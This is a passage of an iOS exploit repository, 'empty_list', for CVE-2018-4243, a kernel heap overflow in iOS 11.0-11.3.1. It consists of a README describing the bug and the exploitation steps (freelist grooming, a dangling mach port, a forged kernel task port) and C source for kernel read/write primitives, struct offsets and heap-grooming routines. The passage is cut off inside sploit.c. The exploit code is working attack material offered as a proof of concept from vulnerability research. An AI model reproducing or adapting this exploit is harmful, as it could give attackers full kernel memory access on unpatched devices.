"size" : "40x40", 26 | "scale" : "2x" 27 | }, 28 | { 29 | "idiom" : "iphone", 30 | "size" : "40x40", 31 | "scale" : "3x" 32 | }, 33 | { 34 | "idiom" : "iphone", 35 | "size" : "60x60", 36 | "scale" : "2x" 37 | }, 38 | { 39 | "idiom" : "iphone", 40 | "size" : "60x60", 41 | "scale" : "3x" 42 | }, 43 | { 44 | "idiom" : "ipad", 45 | "size" : "20x20", 46 | "scale" : "1x" 47 | }, 48 | { 49 | "idiom" : "ipad", 50 | "size" : "20x20", 51 | "scale" : "2x" 52 | }, 53 | { 54 | "idiom" : "ipad", 55 | "size" : "29x29", 56 | "scale" : "1x" 57 | }, 58 | { 59 | "idiom" : "ipad", 60 | "size" : "29x29", 61 | "scale" : "2x" 62 | }, 63 | { 64 | "idiom" : "ipad", 65 | "size" : "40x40", 66 | "scale" : "1x" 67 | }, 68 | { 69 | "idiom" : "ipad", 70 | "size" : "40x40", 71 | "scale" : "2x" 72 | }, 73 | { 74 | "idiom" : "ipad", 75 | "size" : "76x76", 76 | "scale" : "1x" 77 | }, 78 | { 79 | "idiom" : "ipad", 80 | "size" : "76x76", 81 | "scale" : "2x" 82 | }, 83 | { 84 | "idiom" : "ipad", 85 | "size" : "83.5x83.5", 86 | "scale" : "2x" 87 | }, 88 | { 89 | "idiom" : "ios-marketing", 90 | "size" : "1024x1024", 91 | "scale" : "1x" 92 | } 93 | ], 94 | "info" : { 95 | "version" : 1, 96 | "author" : "xcode" 97 | } 98 | } -------------------------------------------------------------------------------- /empty_list/Assets.xcassets/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "info" : { 3 | "version" : 1, 4 | "author" : "xcode" 5 | } 6 | } -------------------------------------------------------------------------------- /empty_list/Base.lproj/LaunchScreen.storyboard: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /empty_list/Base.lproj/Main.storyboard: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | -------------------------------------------------------------------------------- /empty_list/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CFBundleDevelopmentRegion 6 | $(DEVELOPMENT_LANGUAGE) 7 | CFBundleExecutable 8 | $(EXECUTABLE_NAME) 9 | CFBundleIdentifier 10 | $(PRODUCT_BUNDLE_IDENTIFIER) 11 | CFBundleInfoDictionaryVersion 12 | 6.0 13 | CFBundleName 14 | $(PRODUCT_NAME) 15 | CFBundlePackageType 16 | APPL 17 | CFBundleShortVersionString 18 | 1.0 19 | CFBundleVersion 20 | 1 21 | LSRequiresIPhoneOS 22 | 23 | UILaunchStoryboardName 24 | LaunchScreen 25 | UIMainStoryboardFile 26 | Main 27 | UIRequiredDeviceCapabilities 28 | 29 | armv7 30 | 31 | UISupportedInterfaceOrientations 32 | 33 | UIInterfaceOrientationPortrait 34 | UIInterfaceOrientationLandscapeLeft 35 | UIInterfaceOrientationLandscapeRight 36 | 37 | UISupportedInterfaceOrientations~ipad 38 | 39 | UIInterfaceOrientationPortrait 40 | UIInterfaceOrientationPortraitUpsideDown 41 | UIInterfaceOrientationLandscapeLeft 42 | UIInterfaceOrientationLandscapeRight 43 | 44 | 45 | 46 | -------------------------------------------------------------------------------- /empty_list/README: -------------------------------------------------------------------------------- 1 | empty_list - exploit for p0 issue 1564 (CVE-2018-4243) iOS 11.0 - 11.3.1 kernel r/w 2 | @i41nbeer 3 | 4 | BUG: 5 | getvolattrlist takes a user controlled bufferSize argument via the fgetattrlist syscall. 6 | 7 | When allocating a kernel buffer to serialize the attr list to there's the following comment: 8 | 9 | /* 10 | * Allocate a target buffer for attribute results. 11 | * Note that since we won't ever copy out more than the caller requested, 12 | * we never need to allocate more than they offer. 13 | */ 14 | ab.allocated = ulmin(bufferSize, fixedsize + varsize); 15 | if (ab.allocated > ATTR_MAX_BUFFER) { 16 | error = ENOMEM; 17 | VFS_DEBUG(ctx, vp, "ATTRLIST - ERROR: buffer size too large (%d limit %d)", ab.allocated, ATTR_MAX_BUFFER); 18 | goto out; 19 | } 20 | MALLOC(ab.base, char *, ab.allocated, M_TEMP, M_ZERO | M_WAITOK); 21 | 22 | The problem is that the code doesn't then correctly handle the case when the user supplied buffer size 23 | is smaller that the requested header size. If we pass ATTR_CMN_RETURNED_ATTRS we'll hit the following code: 24 | 25 | /* Return attribute set output if requested. */ 26 | if (return_valid) { 27 | ab.actual.commonattr |= ATTR_CMN_RETURNED_ATTRS; 28 | if (pack_invalid) { 29 | /* Only report the attributes that are valid */ 30 | ab.actual.commonattr &= ab.valid.commonattr; 31 | ab.actual.volattr &= ab.valid.volattr; 32 | } 33 | bcopy(&ab.actual, ab.base + sizeof(uint32_t), sizeof (ab.actual)); 34 | } 35 | 36 | There's no check that the allocated buffer is big enough to hold at least that. 37 | 38 | Exploitation: 39 | I hope to publish a longer-form write up of this, these are some rough notes on how the exploit works: 40 | 41 | The bug gives you the ability to write 8 zero bytes off the end of a kalloc.16 allocation. Whilst it looks like you 42 | might be able to control a few bits in those bytes I'm not sure you actually can so I focused on exploiting 43 | as if it was writing a NULL pointer off the end. 44 | 45 | This is pretty limited primitive so the first step is to try to enumerate possible things you could do: 46 | * target a reference count, trying to turn the overflow into a UaF bug 47 | * target a lock, trying to turn the overflow into a race condition bug 48 | * target a pointer, trying to leak a reference count 49 | * target a validated datastructure where 0 is an interesting value to change something to 50 | 51 | In the end I chose the first option. There are then two further requirements: 52 | * target needs a reference count in the first 8 bytes 53 | * target has to be overflowable into from kalloc.16 54 | 55 | I chose to target struct ipc_port, which has a reference count field as its second dword thus fulfilling the 56 | first requirement. It is however not allocated in kalloc.16; instead it lives in its own zone (ipc_ports.) 57 | 58 | This means we have to aligned a kalloc.16 zone block just before an ipc_ports one, then overflow out of the 59 | last kalloc.16 allocation in the kalloc.16 block into the first on in ipc_ports. 60 | 61 | There are two tricks we can use to make this easier: 62 | 1) freelist reversal 63 | 2) safely-overflowable allocations 64 | 65 | Freelist Reversal: 66 | zone allocations will come first from intermediate (partially full) pages. This means that if we just start free'ing and 67 | allocating k.16 objects somewhere in the middle of the groom they won't be re-used until 68 | the current intermediate page is either full or empty. 69 | 70 | this provides a challenge because fresh page's freelist's are filled semi-randomly such that 71 | their allocations will go from the inside to the outside: 72 | 73 | | 9 8 6 5 2 1 3 4 7 10 | <-- example "randomized" allocation order from a fresh all-free page 74 | 75 | this means that our final intermediate k.16 and ports pages will look a bit like this: 76 | 77 | | - - - 5 2 1 3 4 - - | - - - 4 1 2 3 5 - - | 78 | kalloc.16 ipc_ports 79 | 80 | if we use the overflow to corrupt a freelist entry we'll panic if it gets allocated, so we 81 | need to avoid that 82 | 83 | the trick is that by controlling the allocation and free order we can reverse the freelists such that 84 | the final intermediate pages will look more like this: 85 | | 1 4 - - - - - 5 3 2 | 2 5 - - - - - 4 3 1 | 86 | kalloc.16 ipc_ports 87 | 88 | at this point we're much more likely to be able to free a kalloc.16 and realloc it for the overflow 89 | such that we can hit the first qword of an ipc_port. 90 | 91 | Safely-Overflowable allocations: 92 | since there are likely to be many candidate allocations we're gonna have to overflow out of before we hit the 93 | target one (which is right at the end, just before the ipc_port) we need to make sure that the allocated objects 94 | on the kalloc.16 page are safe to corrupt with a NULL pointer. 95 | 96 | I use mach message ool_port descriptors for this, as NULL is a valid value. 97 | 98 | Exploit Flow: 99 | We do the groom to reverse the kalloc.16 freelists and start trying to overflow into an ipc_port. 100 | 101 | We know the approximate range of mach port names which contain the to-be-corrupted port; after each overflow attempt 102 | we check each of these ports to see if the port was corrupted. A side-effect of successful corruption is that the 103 | port's io_active flag will be set to zero. We can detect this without causing side-effects using the 104 | mach_port_kobject MIG method. 105 | 106 | Once we find the corrupted port we need to cause a reference to be taken and dropped on it; and more importantly we 107 | need the code path which does this to not check the io_active flag. mach_port_set_attributes will do this for us. 108 | 109 | Now we've turned our NULL pointer write off the end of a kalloc.16 into a dangling mach port :) 110 | 111 | We cause a zone gc, aiming to get the port's memory reused as a kalloc.4096 page. We first get it reused as a ool_ports 112 | descriptor where the ip_context field overlaps with a send right we send ourselves to a canary port. This lets us 113 | learn the approximate address of our objects in the kernel. We then replace the ool_desc with a pipe buffer, 114 | and with a bit of fiddling are able to work out where the dangling mach port is in memory. 115 | 116 | We craft a fake kernel task port in there then clean up. 117 | 118 | Reliability: 119 | The exploit does work, which was my goal :) Reliablilty is something like 30% maybe, it all hinges on how quickly you can do the initial overflow 120 | and test loop. If something else comes in and allocates or frees in kalloc.16 you increase the probability that you 121 | corrupt a freelist entry or something else and will panic. 122 | 123 | I'm sure the exploit can be made more reliable; I've only got it to the point where I've demonstrated that this 124 | bug is exploitable. If you want to take this as a starting point and demonstrate how to improve reliability I'd love 125 | to read a blog post! I imagine this would involve actually monitoring kalloc.16 allocations and understanding what 126 | the failure cases are and how they can be prevented. 127 | 128 | Success rates seem to be highest when the device has been rebooted and left idle for a bit. 129 | 130 | Cleanup: 131 | If the exploit does work it should clean up after itself and not panic the device. The fake kernel task port will stay alive. 132 | 133 | Use the functions in kmem.h to read and write kernel memory. Persist a send-right to tfp0 in there if you want to keep 134 | kernel memory access after this process exits. 135 | 136 | I've tested on: iPod Touch 6G, iPhone 6S, iPhone SE, iPhone 7, iPhone 8 137 | It should work on iOS 11 through iOS 11.3.1 138 | -------------------------------------------------------------------------------- /empty_list/ViewController.h: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | @interface ViewController : UIViewController 4 | 5 | 6 | @end 7 | 8 | -------------------------------------------------------------------------------- /empty_list/ViewController.m: -------------------------------------------------------------------------------- 1 | #import "ViewController.h" 2 | 3 | @interface ViewController () 4 | 5 | @end 6 | 7 | @implementation ViewController 8 | 9 | - (void)viewDidLoad { 10 | [super viewDidLoad]; 11 | // Do any additional setup after loading the view, typically from a nib. 12 | } 13 | 14 | 15 | - (void)didReceiveMemoryWarning { 16 | [super didReceiveMemoryWarning]; 17 | // Dispose of any resources that can be recreated. 18 | } 19 | 20 | 21 | @end 22 | -------------------------------------------------------------------------------- /empty_list/kmem.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "kmem.h" 7 | 8 | 9 | mach_port_t tfp0 = MACH_PORT_NULL; 10 | void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0) { 11 | tfp0 = fake_tfp0; 12 | } 13 | 14 | void wk32(uint64_t kaddr, uint32_t val) { 15 | if (tfp0 == MACH_PORT_NULL) { 16 | printf("attempt to write to kernel memory before any kernel memory write primitives available\n"); 17 | sleep(3); 18 | return; 19 | } 20 | 21 | kern_return_t err; 22 | err = mach_vm_write(tfp0, 23 | (mach_vm_address_t)kaddr, 24 | (vm_offset_t)&val, 25 | (mach_msg_type_number_t)sizeof(uint32_t)); 26 | 27 | if (err != KERN_SUCCESS) { 28 | printf("tfp0 write failed: %s %x\n", mach_error_string(err), err); 29 | return; 30 | } 31 | } 32 | 33 | void wk64(uint64_t kaddr, uint64_t val) { 34 | uint32_t lower = (uint32_t)(val & 0xffffffff); 35 | uint32_t higher = (uint32_t)(val >> 32); 36 | wk32(kaddr, lower); 37 | wk32(kaddr+4, higher); 38 | } 39 | 40 | uint32_t rk32(uint64_t kaddr) { 41 | kern_return_t err; 42 | uint32_t val = 0; 43 | mach_vm_size_t outsize = 0; 44 | err = mach_vm_read_overwrite(tfp0, 45 | (mach_vm_address_t)kaddr, 46 | (mach_vm_size_t)sizeof(uint32_t), 47 | (mach_vm_address_t)&val, 48 | &outsize); 49 | if (err != KERN_SUCCESS){ 50 | printf("tfp0 read failed %s addr: 0x%llx err:%x port:%x\n", mach_error_string(err), kaddr, err, tfp0); 51 | sleep(3); 52 | return 0; 53 | } 54 | 55 | if (outsize != sizeof(uint32_t)){ 56 | printf("tfp0 read was short (expected %lx, got %llx\n", sizeof(uint32_t), outsize); 57 | sleep(3); 58 | return 0; 59 | } 60 | return val; 61 | } 62 | 63 | uint64_t rk64(uint64_t kaddr) { 64 | uint64_t lower = rk32(kaddr); 65 | uint64_t higher = rk32(kaddr+4); 66 | uint64_t full = ((higher<<32) | lower); 67 | return full; 68 | } 69 | -------------------------------------------------------------------------------- /empty_list/kmem.h: -------------------------------------------------------------------------------- 1 | #ifndef kmem_h 2 | #define kmem_h 3 | 4 | #include 5 | 6 | kern_return_t mach_vm_read( 7 | vm_map_t target_task, 8 | mach_vm_address_t address, 9 | mach_vm_size_t size, 10 | vm_offset_t *data, 11 | mach_msg_type_number_t *dataCnt); 12 | 13 | kern_return_t mach_vm_write( 14 | vm_map_t target_task, 15 | mach_vm_address_t address, 16 | vm_offset_t data, 17 | mach_msg_type_number_t dataCnt); 18 | 19 | kern_return_t mach_vm_read_overwrite( 20 | vm_map_t target_task, 21 | mach_vm_address_t address, 22 | mach_vm_size_t size, 23 | mach_vm_address_t data, 24 | mach_vm_size_t *outsize); 25 | 26 | extern mach_port_t tfp0; 27 | 28 | uint32_t rk32(uint64_t kaddr); 29 | uint64_t rk64(uint64_t kaddr); 30 | 31 | void wk32(uint64_t kaddr, uint32_t val); 32 | void wk64(uint64_t kaddr, uint64_t val); 33 | 34 | void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0); 35 | 36 | #endif 37 | -------------------------------------------------------------------------------- /empty_list/main.m: -------------------------------------------------------------------------------- 1 | #import 2 | #import "AppDelegate.h" 3 | 4 | int main(int argc, char * argv[]) { 5 | @autoreleasepool { 6 | return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /empty_list/offsets.h: -------------------------------------------------------------------------------- 1 | #ifndef offsets_h 2 | #define offsets_h 3 | 4 | enum kstruct_offset { 5 | /* struct task */ 6 | KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE, 7 | KSTRUCT_OFFSET_TASK_REF_COUNT, 8 | KSTRUCT_OFFSET_TASK_ACTIVE, 9 | KSTRUCT_OFFSET_TASK_VM_MAP, 10 | KSTRUCT_OFFSET_TASK_NEXT, 11 | KSTRUCT_OFFSET_TASK_PREV, 12 | KSTRUCT_OFFSET_TASK_ITK_SPACE, 13 | KSTRUCT_OFFSET_TASK_BSD_INFO, 14 | 15 | /* struct ipc_port */ 16 | KSTRUCT_OFFSET_IPC_PORT_IO_BITS, 17 | KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES, 18 | KSTRUCT_OFFSET_IPC_PORT_WAITQ_FLAGS, 19 | KSTRUCT_OFFSET_IPC_PORT_SET_ID, 20 | KSTRUCT_OFFSET_IPC_PORT_WAITQ_NEXT, 21 | KSTRUCT_OFFSET_IPC_PORT_WAITQ_PREV, 22 | KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE, 23 | KSTRUCT_OFFSET_IPC_PORT_RECEIVER_NAME, 24 | KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT, 25 | KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER, 26 | KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT, 27 | KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG, 28 | KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT, 29 | KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS, 30 | 31 | /* struct proc */ 32 | KSTRUCT_OFFSET_PROC_PID, 33 | KSTRUCT_OFFSET_PROC_P_FD, 34 | 35 | /* struct filedesc */ 36 | KSTRUCT_OFFSET_FILEDESC_FD_OFILES, 37 | 38 | /* struct fileproc */ 39 | KSTRUCT_OFFSET_FILEPROC_F_FGLOB, 40 | 41 | /* struct fileglob */ 42 | KSTRUCT_OFFSET_FILEGLOB_FG_DATA, 43 | 44 | /* struct socket */ 45 | KSTRUCT_OFFSET_SOCKET_SO_PCB, 46 | 47 | /* struct pipe */ 48 | KSTRUCT_OFFSET_PIPE_BUFFER, 49 | 50 | /* struct ipc_space */ 51 | KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE, 52 | KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE, 53 | 54 | KFREE_ADDR_OFFSET, 55 | }; 56 | 57 | int koffset(enum kstruct_offset offset); 58 | void offsets_init(void); 59 | 60 | #endif 61 | -------------------------------------------------------------------------------- /empty_list/offsets.m: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include "offsets.h" 10 | 11 | int* offsets = NULL; 12 | 13 | int kstruct_offsets[] = { 14 | 0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE, 15 | 0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT, 16 | 0x14, // KSTRUCT_OFFSET_TASK_ACTIVE, 17 | 0x20, // KSTRUCT_OFFSET_TASK_VM_MAP, 18 | 0x28, // KSTRUCT_OFFSET_TASK_NEXT, 19 | 0x30, // KSTRUCT_OFFSET_TASK_PREV, 20 | 0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE 21 | 0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO, 22 | 23 | 0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS, 24 | 0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES, 25 | 0x10, // KSTRUCT_OFFSET_IPC_PORT_WAITQ_FLAGS, 26 | 0x18, // KSTRUCT_OFFSET_IPC_PORT_SET_ID, 27 | 0x30, // KSTRUCT_OFFSET_IPC_PORT_WAITQ_NEXT 28 | 0x38, // KSTRUCT_OFFSET_IPC_PORT_WAITQ_PREV 29 | 0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE, 30 | 0x4c, // KSTRUCT_OFFSET_IPC_PORT_RECEIVER_NAME 31 | 0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT, 32 | 0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER, 33 | 0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT, 34 | 0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG, 35 | 0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT, 36 | 0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS, 37 | 38 | 0x10, // KSTRUCT_OFFSET_PROC_PID, 39 | 0x108, // KSTRUCT_OFFSET_PROC_P_FD 40 | 41 | 0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES 42 | 43 | 0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB 44 | 45 | 0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA 46 | 47 | 0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB 48 | 49 | 0x10, // KSTRUCT_OFFSET_PIPE_BUFFER 50 | 51 | 0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE 52 | 0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE 53 | 54 | 0x6c, // KFREE_ADDR_OFFSET 55 | }; 56 | 57 | 58 | int koffset(enum kstruct_offset offset) { 59 | if (offsets == NULL) { 60 | printf("need to call offsets_init() prior to querying offsets\n"); 61 | return 0; 62 | } 63 | return offsets[offset]; 64 | } 65 | 66 | 67 | void offsets_init() { 68 | if (@available(iOS 11.4, *)) { 69 | printf("this bug is patched in iOS 11.4 and above\n"); 70 | exit(EXIT_FAILURE); 71 | } else if (@available(iOS 11.0, *)) { 72 | printf("offsets selected for iOS 11.0 to 11.3.1\n"); 73 | offsets = kstruct_offsets; 74 | } else { 75 | printf("iOS version too low, 11.0 required\n"); 76 | exit(EXIT_FAILURE); 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /empty_list/sploit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include 13 | 14 | #include "sploit.h" 15 | #include "offsets.h" 16 | #include "kmem.h" 17 | 18 | 19 | void increase_limits() { 20 | struct rlimit lim = {0}; 21 | int err = getrlimit(RLIMIT_NOFILE, &lim); 22 | if (err != 0) { 23 | printf("failed to get limits\n"); 24 | } 25 | printf("rlim.cur: %lld\n", lim.rlim_cur); 26 | printf("rlim.max: %lld\n", lim.rlim_max); 27 | 28 | lim.rlim_cur = 10240; 29 | 30 | err = setrlimit(RLIMIT_NOFILE, &lim); 31 | if (err != 0) { 32 | printf("failed to set limits\n"); 33 | } 34 | 35 | lim.rlim_cur = 0; 36 | lim.rlim_max = 0; 37 | err = getrlimit(RLIMIT_NOFILE, &lim); 38 | if (err != 0) { 39 | printf("failed to get limits\n"); 40 | } 41 | printf("rlim.cur: %lld\n", lim.rlim_cur); 42 | printf("rlim.max: %lld\n", lim.rlim_max); 43 | 44 | } 45 | 46 | #define IO_BITS_ACTIVE 0x80000000 47 | #define IKOT_TASK 2 48 | #define IKOT_NONE 0 49 | 50 | void build_fake_task_port(uint8_t* fake_port, uint64_t fake_port_kaddr, uint64_t initial_read_addr, uint64_t vm_map, uint64_t receiver, uint64_t context) { 51 | // clear the region we'll use: 52 | memset(fake_port, 0, 0x500); 53 | 54 | *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS)) = IO_BITS_ACTIVE | IKOT_TASK; 55 | *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES)) = 0xf00d; // leak references 56 | *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS)) = 0xf00d; // leak srights 57 | *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)) = receiver; 58 | *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT)) = context; 59 | 60 | 61 | uint64_t fake_task_kaddr = fake_port_kaddr + 0x100; 62 | *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)) = fake_task_kaddr; 63 | 64 | uint8_t* fake_task = fake_port + 0x100; 65 | 66 | // set the ref_count field of the fake task: 67 | *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references 68 | 69 | // make sure the task is active 70 | *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1; 71 | 72 | // set the vm_map of the fake task: 73 | *(uint64_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map; 74 | 75 | // set the task lock type of the fake task's lock: 76 | *(uint8_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22; 77 | 78 | // set the bsd_info pointer to be 0x10 bytes before the desired initial read: 79 | *(uint64_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO)) = initial_read_addr - 0x10; 80 | } 81 | 82 | int message_size_for_kalloc_size(int kalloc_size) { 83 | return ((3*kalloc_size)/4) - 0x74; 84 | } 85 | 86 | 87 | #define N_EARLY_PORTS 80000 88 | mach_port_t early_ports[N_EARLY_PORTS+20000]; 89 | int next_early_port = 0; 90 | 91 | void alloc_early_ports() { 92 | for (int i = 0; i < N_EARLY_PORTS; i++) { 93 | kern_return_t err; 94 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &early_ports[i]); 95 | if (err != KERN_SUCCESS) { 96 | printf("mach_port_allocate failed to allocate a new port for early_ports (%d)\n", i); 97 | } 98 | } 99 | next_early_port = N_EARLY_PORTS-1; 100 | } 101 | 102 | mach_port_t steal_early_port() { 103 | if (next_early_port == 0) { 104 | printf("out of early ports\n"); 105 | sleep(100); 106 | } 107 | mach_port_t p = early_ports[next_early_port]; 108 | next_early_port--; 109 | //early_ports[next_early_port--] = MACH_PORT_NULL; 110 | return p; 111 | } 112 | 113 | void dump_early_ports(){ 114 | for (int i = 0; i < N_EARLY_PORTS; i++) { 115 | printf("EARLY %d %08x\n", i, early_ports[i]); 116 | } 117 | } 118 | 119 | void clear_early_ports() { 120 | for (int i = 0; i < next_early_port; i++) { 121 | mach_port_destroy(mach_task_self(), early_ports[i]); 122 | } 123 | } 124 | 125 | struct kalloc_16_send_msg { 126 | mach_msg_header_t hdr; 127 | mach_msg_body_t body; 128 | mach_msg_ool_ports_descriptor_t ool_ports; 129 | uint8_t pad[0x200]; 130 | }; 131 | 132 | mach_port_t kalloc_16() { 133 | kern_return_t err; 134 | // take an early port: 135 | mach_port_t port = steal_early_port(); 136 | 137 | // insert a send right: 138 | mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); 139 | 140 | uint32_t msg_size = message_size_for_kalloc_size(0x110); 141 | // send a message with two OOL NULL ports; these will end up in a kalloc.16: 142 | struct kalloc_16_send_msg kalloc_msg = {0}; 143 | 144 | kalloc_msg.hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); 145 | kalloc_msg.hdr.msgh_size = msg_size; //sizeof(struct kalloc_16_send_msg); 146 | kalloc_msg.hdr.msgh_remote_port = port; 147 | kalloc_msg.hdr.msgh_local_port = MACH_PORT_NULL; 148 | kalloc_msg.hdr.msgh_id = 0x41414141; 149 | 150 | kalloc_msg.body.msgh_descriptor_count = 1; 151 | 152 | mach_port_t ool_ports[2] = {0xffffffff, 0xffffffff}; 153 | 154 | kalloc_msg.ool_ports.address = ool_ports; 155 | kalloc_msg.ool_ports.count = 2; 156 | kalloc_msg.ool_ports.deallocate = 0; 157 | kalloc_msg.ool_ports.disposition = MACH_MSG_TYPE_COPY_SEND; 158 | kalloc_msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; 159 | kalloc_msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY; 160 | 161 | 162 | // send it: 163 | err = mach_msg(&kalloc_msg.hdr, 164 | MACH_SEND_MSG|MACH_MSG_OPTION_NONE, 165 | (mach_msg_size_t)msg_size,//sizeof(struct kalloc_16_send_msg), 166 | 0, 167 | MACH_PORT_NULL, 168 | MACH_MSG_TIMEOUT_NONE, 169 | MACH_PORT_NULL); 170 | if (err != KERN_SUCCESS) { 171 | printf("sending kalloc.16 message failed %s\n", mach_error_string(err)); 172 | } 173 | 174 | return port; 175 | } 176 | 177 | #define N_MIDDLE_PORTS 50000 178 | mach_port_t middle_ports[N_MIDDLE_PORTS]; 179 | int next_middle_port = 0; 180 | 181 | mach_port_t alloc_middle_port() { 182 | mach_port_t port; 183 | kern_return_t err; 184 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); 185 | mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); // added 186 | if (err != KERN_SUCCESS) { 187 | printf("failed to alloc middle port\n"); 188 | } 189 | middle_ports[next_middle_port++] = port; 190 | return port; 191 | } 192 | 193 | struct ool_multi_msg { 194 | mach_msg_header_t hdr; 195 | mach_msg_body_t body; 196 | mach_msg_ool_ports_descriptor_t ool_ports[0]; 197 | }; 198 | 199 | // to free them either receive the message or destroy the port 200 | mach_port_t hold_kallocs(uint32_t kalloc_size, int allocs_per_message, int messages_to_send, mach_port_t holder_port, mach_port_t* source_ports) { 201 | if (messages_to_send > MACH_PORT_QLIMIT_LARGE) { 202 | printf("****************** too many messages\n"); 203 | return MACH_PORT_NULL; 204 | } 205 | 206 | kern_return_t err; 207 | mach_port_t port = MACH_PORT_NULL; 208 | 209 | if (holder_port == MACH_PORT_NULL) { 210 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); 211 | mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); 212 | 213 | if (err != KERN_SUCCESS) { 214 | printf("failed to allocate port for hold kallocs\n"); 215 | } 216 | 217 | // bump up the number of messages we can enqueue: 218 | mach_port_limits_t limits = {0}; 219 | limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE; 220 | err = mach_port_set_attributes(mach_task_self(), 221 | port, 222 | MACH_PORT_LIMITS_INFO, 223 | (mach_port_info_t)&limits, 224 | MACH_PORT_LIMITS_INFO_COUNT); 225 | if (err != KERN_SUCCESS) { 226 | printf(" [-] failed to increase queue limit\n"); 227 | exit(EXIT_FAILURE); 228 | } 229 | } else { 230 | port = holder_port; 231 | } 232 | 233 | // these are MACH_PORT_NULL 234 | mach_port_t* ports_to_send = calloc(kalloc_size/8, sizeof(mach_port_name_t)); 235 | 236 | size_t message_size = offsetof(struct ool_multi_msg, ool_ports[allocs_per_message+1]); 237 | struct ool_multi_msg* msg = malloc(message_size); 238 | 239 | memset(msg, 0, message_size); 240 | 241 | msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); 242 | msg->hdr.msgh_size = (uint32_t) message_size; 243 | msg->hdr.msgh_remote_port = port; 244 | msg->hdr.msgh_local_port = MACH_PORT_NULL; 245 | msg->hdr.msgh_id = 0x12340101; 246 | 247 | msg->body.msgh_descriptor_count = allocs_per_message; 248 | 249 | for (int i = 0; i < allocs_per_message; i++) { 250 | msg->ool_ports[i].address = source_ports != NULL ? source_ports : ports_to_send; 251 | msg->ool_ports[i].count = kalloc_size/8; 252 | msg->ool_ports[i].deallocate = 0; 253 | 